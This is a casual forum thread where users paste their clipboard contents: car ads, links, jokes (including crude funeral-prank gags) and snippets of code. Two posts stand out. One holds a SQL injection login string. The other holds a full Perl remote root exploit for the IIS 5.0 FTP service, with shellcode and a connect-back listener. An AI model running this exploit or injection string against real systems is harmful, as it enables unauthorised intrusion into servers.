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  • Registered Users, Registered Users 2 Posts: 1,525 ✭✭✭DanGerMus


    Lamborghini Diablo


    Lookin up cars mentioned in Motors thread as Most Beautiful.


  • Registered Users, Registered Users 2 Posts: 22,231 ✭✭✭✭Sparky


    I still miss my ex-girlfriend... but my aim is improving


  • Closed Accounts Posts: 357 ✭✭K-Ren


    Reverse gravity bong...?

    Hmm interesting...


  • Registered Users, Registered Users 2 Posts: 5,153 ✭✭✭Rented Mule


    Buona notte a tutti....


    I was translating a post on Facebook into Babelfish.


  • Closed Accounts Posts: 6,362 ✭✭✭K4t


    1, 1, 2, 8, 9, 75

    target: 484

    Countdown puzzle from the mathematic forum. Didn't figure it out either. I enjoyed it anwyay.


  • Registered Users, Registered Users 2 Posts: 1,258 ✭✭✭Numina


    K4t wrote: »
    1, 1, 2, 8, 9, 75

    target: 484

    Countdown puzzle from the mathematic forum. Didn't figure it out either. I enjoyed it anwyay.

    Looks like the Fibonacchi sequence.

    Andysantiago


  • Registered Users, Registered Users 2 Posts: 8,452 ✭✭✭Time Magazine




  • Registered Users, Registered Users 2 Posts: 1,939 ✭✭✭mardybumbum


    Numina wrote: »
    Looks like the Fibonacchi sequence.

    Andysantiago

    Apart from the 8,9, and 75


  • Registered Users, Registered Users 2 Posts: 1,110 ✭✭✭Aodan83


    Apart from the 8,9, and 75
    Looks like, not is, looks like!!


  • Closed Accounts Posts: 6,362 ✭✭✭K4t


    Numina wrote: »
    Looks like the Fibonacchi sequence.
    I thought it looked familiar alright.


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  • Registered Users, Registered Users 2 Posts: 1,939 ✭✭✭mardybumbum


    Aodan83 wrote: »
    Looks like, not is, looks like!!

    Indeed


  • Closed Accounts Posts: 7,150 ✭✭✭kumate_champ07


    pas chic chic


  • Closed Accounts Posts: 16,396 ✭✭✭✭kaimera




  • Registered Users, Registered Users 2 Posts: 11,195 ✭✭✭✭Michellenman




  • Closed Accounts Posts: 12,456 ✭✭✭✭Mr Benevolent


    http://www.virginblue.com.au

    I have to fly from Sydney to Brisbane once I get to Australia.


  • Registered Users, Registered Users 2 Posts: 12,815 ✭✭✭✭galwayrush


    <snip>
    <snip>
    <snip>

    :o


  • Closed Accounts Posts: 5,538 ✭✭✭niceirishfella


    110423930202 ?


    ermmmmmmmm..i dunno


  • Registered Users, Registered Users 2 Posts: 10,255 ✭✭✭✭The_Minister




  • Closed Accounts Posts: 27,857 ✭✭✭✭Dave!




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  • Registered Users, Registered Users 2 Posts: 1,064 ✭✭✭ericl


    Ways to be truly offensive at a funeral...

    Tell the widow that the deceased's last wish was that she make love with you.

    Tell the undertaker that he can't close the coffin until you find your contact lens.

    Punch the body and tell people that he hit you first.

    Tell the widow that you're the deceased's gay lover.

    Ask someone to take a snapshot of you shaking hands with the deceased.

    At the cemetery, play taps on a kazoo.

    Walk around telling people that you've seen the will and they're not in it.

    Ask the widow to give you a kiss.

    Drive behind the widow's limo and keep honking your horn.

    Tell the undertaker that your dog just died and ask if he can sneak him into the coffin.

    Put a hard-boiled egg in the mouth of the deceased.

    Slip a whoopee cushion under the widow.

    Leave some phony dog poop on top of the deceased.

    Tell the widow that you have to leave early and ask if the will can be read before the funeral is over.

    Urge the widow to give the deceased's wooden leg to someone poor who can't afford firewood.

    Walk around telling people that the deceased didn't like them.

    Use the deceased's tongue to lick a stamp.

    Ask the widow for money which the deceased owes you.

    Take up a collection to pay off the deceased's gambling debts.

    Ask the widow if you can have the body to practice tatooing on.

    Put Crazy Glue on the deceased's lips just before the widow's last kiss.

    Show up at the funeral services in a clown suit.

    If the widow cries, blow a trumpet every time she wipes her nose.

    When no-one's looking, slip plastic vampire-teeth into the deceased's mouth.

    Toss a handful of cooked rice on the deceased and scream "MAGGOTS! MAGGOTS!" and pretend to faint.

    At the cemetery take bets on how long it takes a body to decompose.

    Get someone to call you on your cell phone during ceremony and pretend your talking to the deceased person.

    Goose the widow as she bends over to throw dirt on the coffin.

    Circulate a petition to have the body stuffed instead of buried.

    Tell everyone you're from the IRS and you're confiscating the coffin for back-taxes.

    Promise the minister a hundred dollars if he doesn't keep a straight face while praising the deceased.

    Write "Best before last week" on the top of the coffin when nobody is looking.

    Accidentally sneeze on the deceased, and literally wipe the smile off his face.

    If its a woman, spread her legs and write "Dying for a Shag" on the side of the coffin.


  • Closed Accounts Posts: 22,559 ✭✭✭✭AnonoBoy


    circumsition


  • Registered Users, Registered Users 2 Posts: 2,919 ✭✭✭Schism


    http://www.boards.ie/vbulletin/showthread.php?t=2055667753

    My ctrl + v just happened to be to another thread.


  • Registered Users, Registered Users 2 Posts: 1,023 ✭✭✭hairyfairy00




  • Closed Accounts Posts: 10,272 ✭✭✭✭Max Power1




  • Registered Users Posts: 65 ✭✭Escapism


    i can hardly remember yesterday .... so if the message was a while back i wouldn't mind, i'm forgetful at the best of times. I'm good thanks, all rested and looking forward to second year, excited to see everyone ... ah i'll sort something about the weekend.

    exciting stuff that .... :)


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  • Closed Accounts Posts: 6,281 ✭✭✭Ricky91t




  • Registered Users, Registered Users 2 Posts: 800 ✭✭✭faigs




  • Registered Users, Registered Users 2 Posts: 4,923 ✭✭✭deisedude




  • Moderators, Science, Health & Environment Moderators, Social & Fun Moderators, Society & Culture Moderators Posts: 60,104 Mod ✭✭✭✭Tar.Aldarion




  • Registered Users, Registered Users 2 Posts: 11,440 ✭✭✭✭Piste


    javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=600; y4=200; x5=600; y5=200; DI= document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',60 ); void(0)




    That code yoke from a few pages back, just tried it, it's cool!


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  • Registered Users, Registered Users 2 Posts: 8,800 ✭✭✭Senna


    This is an extremely rare Prelude and is the connoisseur's choice in Japan as a V-Tec coupe that's stylish & discreet, yet able to deliver serious performance when the desire arises. Don't be mistaken, this is NOT a normal spec. Prelude, but an S Spec which was only made for the Japanese market . Like the JDM S Type NSX's it's of greater performance than it's run of the mill counterparts! It has factory performance enhancements which were developed with Mugen and is fitted with additional performance and cosmetic extras. Compare this car to say an Integra Type R DC5, or a Civic Type R and you'll appreciate this is undoubtedly the better car. It's extremely rare in Ireland, with only an estimated handful in existence there too.

    Factory Specification: This version of the fifth generation Prelude, the Type S, was only available in Japan. It was equipped with the 2.2 litre H22A fettled by Mugen, featuring VTEC and producing 223 bhp (162 kW) @ 7200 rpm and 163 lb•ft (221 Nm) @ 6500 rpm. Rev limit of the Spec S is 8,000 rpm. (Note the lesser SIR Preludes only came with a 200 bhp output). The Spec S has a higher compression ratio of 11.0:1, 87.0 mm (3.4 in) bore x 90.7 mm (3.6 in) stroke and VTEC-valve timing, lift and duration were increased to 12.2 mm intake and 11.2 mm exhaust. Honda also enlarged the cold air fed air box and replaced it with a more efficient design that is often referred to as Dynamic Chambering, along with a larger throttle body design bored to 62 mm (as opposed to the previous 60 mm). Note the engine cover is red as this is essentially a Type R specification H22A engine. The exhaust system was also treated to a re-design, with the pipe cross sections becoming more cylindrical rather than oval - (although this car's has been upgraded further with a full Mugen Cat Back system) - enabling greater power and sports sound. The three-way catalytic converter was also increased in size.
    The fifth generation curb weight was a lightweight 1310 kg (2882 lb), and ground clearance was 140 mm (5.5 in). Unlike the normal Japanese model SiR, the S-spec that had an LSD, the Type S acquired Honda's technology known as the Active Torque Transfer System (ATTS). The gearing on the Type S has a sportier final drive ratio of 4.266:1. The Type S had a sports Active Control ABS system, different from the others which had the standard ABS systems. The interior featured newly developed Leather and Excene (Alcantara( upholstered seats front & rear with carbon finished inserts on the air conditioning facia and door trims. Other clever specification included a rear seat that folds down to allow longer items such as ski's to be carried inside the car, Powerful Acoustic Feedback multi speaker sound system, Dual SRS airbags, original factory tailored floormats, Climate control A/C and the usual specification of central locking, remote controlled door mirrors with retract mode, integrated driving lights in front bumper, etc.



    Just after putting my car up on adverts.ie


  • Registered Users, Registered Users 2 Posts: 3,373 ✭✭✭Executive Steve


    where is the belleview remix? and where is the martsman 12?

    that release schedule doesnt look exciting at all. and who made this ****ty unnecessary tuning remix?


  • Registered Users, Registered Users 2 Posts: 2,748 ✭✭✭Cunny-Funt


    tR53cbBRq9k


  • Registered Users, Registered Users 2 Posts: 14,698 ✭✭✭✭BlitzKrieg




  • Registered Users, Registered Users 2 Posts: 2,010 ✭✭✭Dr_Teeth




  • Closed Accounts Posts: 100 ✭✭JMcCR


    SELECT * FROM "CMS Invoice" WHERE intInvDate > 39813 OR (intInvDate < 39814 AND nPendingBalFromERP >0)

    fun stuff :rolleyes:


  • Moderators, Category Moderators, Music Moderators, Politics Moderators, Society & Culture Moderators Posts: 22,360 CMod ✭✭✭✭Dravokivich


    E-IM091376795


    ... er ye didnt see that :o

    - Drav!


  • Registered Users, Registered Users 2 Posts: 27,349 ✭✭✭✭super_furry


    "Danny has been Sunderland's player of the year for the past two seasons which speaks volumes for the impact he has had at that level."


  • Registered Users, Registered Users 2 Posts: 8,813 ✭✭✭BaconZombie


    admin:' or 1=1--
    JMcCR wrote: »
    SELECT * FROM "CMS Invoice" WHERE intInvDate > 39813 OR (intInvDate < 39814 AND nPendingBalFromERP >0)

    fun stuff :rolleyes:


  • Registered Users Posts: 842 ✭✭✭starflake


    338831


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  • Closed Accounts Posts: 162 ✭✭nouveau_4.0


    http://www.youtube.com/watch?v=Yxe_kwc8klw

    Copying link to email, painful to watch!


  • Registered Users, Registered Users 2 Posts: 8,813 ✭✭✭BaconZombie


    
    use IO::Socket; 
    $|=1; 
    
    $sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" . 
    "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . 
    "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . 
    "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . 
    "\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30" . 
    "\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55" . 
    "\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" . 
    "\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" . 
    "\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" . 
    "\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d" . 
    "\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44" . 
    "\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31" . 
    "\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" . 
    "\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" . 
    "\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f" . 
    "\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46" . 
    "\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" . 
    "\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43" . 
    "\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44" .
    "\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57" . 
    "\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45" . 
    "\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e" . 
    "\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32" . 
    "\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e" . 
    "\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47" . 
    "\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46" . 
    "\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c" . 
    "\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f" . 
    "\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39" . 
    "\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34" . 
    "\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e" . 
    "\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54" . 
    "\x51\x54\x43\x30\x41\x41"; 
    #1ca 
    print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n"; 
    if ($#ARGV ne 1) { 
    print "usage: iiz5.pl <target> <your local ip>\n"; 
    exit(0); 
    } 
    srand(time()); 
    $port = int(rand(31337-1022)) + 1025; 
    $locip = $ARGV[1]; 
    $locip =~ s/\./,/gi; 
    if (fork()) { 
    $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], 
                                  PeerPort => '21', 
                                  Proto    => 'tcp'); 
    $patch = "\x7E\xF1\xFA\x7F"; 
    #$retaddr = "ZZZZ"; 
    $retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms 
    $v = "KSEXY" . $sc . "V" x (500-length($sc)-5); 
    
    $findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53" 
       ."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0"; 
    
    $c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch. 
       ($patch x (52/4)) .$patch."EEEE$retaddr".$patch. 
       "HHHHIIII". 
    $patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN"; 
    $x = <$sock>; 
    print $x;                             
    print $sock "USER anonymous\r\n"; 
    $x = <$sock>; 
    print $x; 
    print $sock "PASS anonymous\r\n"; 
    $x = <$sock>; 
    print $x; 
    print $sock "MKD w00t$port\r\n"; 
    $x = <$sock>; 
    print $x; 
    print $sock "SITE $v\r\n"; # We store code in memory of process (stack) 
    $x = <$sock>; 
    print $x; 
    print $sock "SITE $v\r\n"; 
    $x = <$sock>; 
    print $x; 
    print $sock "SITE $v\r\n"; 
    $x = <$sock>;
    print $x; 
    print $sock "SITE $v\r\n"; 
    $x = <$sock>; 
    print $x; 
    print $sock "SITE $v\r\n"; 
    $x = <$sock>; 
    print $x; 
    print $sock "CWD w00t$port\r\n"; 
    $x = <$sock>; 
    print $x; 
    print $sock "MKD CCC". "$c\r\n"; 
    $x = <$sock>; 
    print $x; 
    print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n"; 
    $x = <$sock>; 
    print $x; 
    # TRIGGER 
    print $sock "NLST $c*/../C*/\r\n"; 
    $x = <$sock>; 
    print $x; 
    while (1) {} 
    } else { 
    my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1); 
    die "Could not create socket: $!\n" unless $servsock; 
    my $new_sock = $servsock->accept(); 
    while(<$new_sock>) { 
    print $_; 
    } 
    close($servsock); 
    } 
    
    


  • Closed Accounts Posts: 378 ✭✭cathysworld


    Quit your complaining and just do it!!!!

    Not as dirty as it might sound!


  • Closed Accounts Posts: 9,193 ✭✭✭[Jackass]


    Lurtz


  • Closed Accounts Posts: 51 ✭✭notso-quiet1


    video games tester jobs

    job hunting


  • Registered Users, Registered Users 2 Posts: 29,346 ✭✭✭✭homerjay2005


    West Stand Lower £27.00


    explanation - just giving a lad a price of a ticket to a man united game coming up, copied off the website.


  • Registered Users, Registered Users 2 Posts: 1,258 ✭✭✭Numina


    wiped-out elms and harsh sunlight


  • Registered Users, Registered Users 2 Posts: 2,128 ✭✭✭thorbarry


    http://www.candystand.com/play/vector-td

    ha ha and i'm supposed to be working :) suckers


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  • Registered Users, Registered Users 2 Posts: 1,886 ✭✭✭beans


    Killer thread :)

    Enjoy the weekend?

    disappointing...


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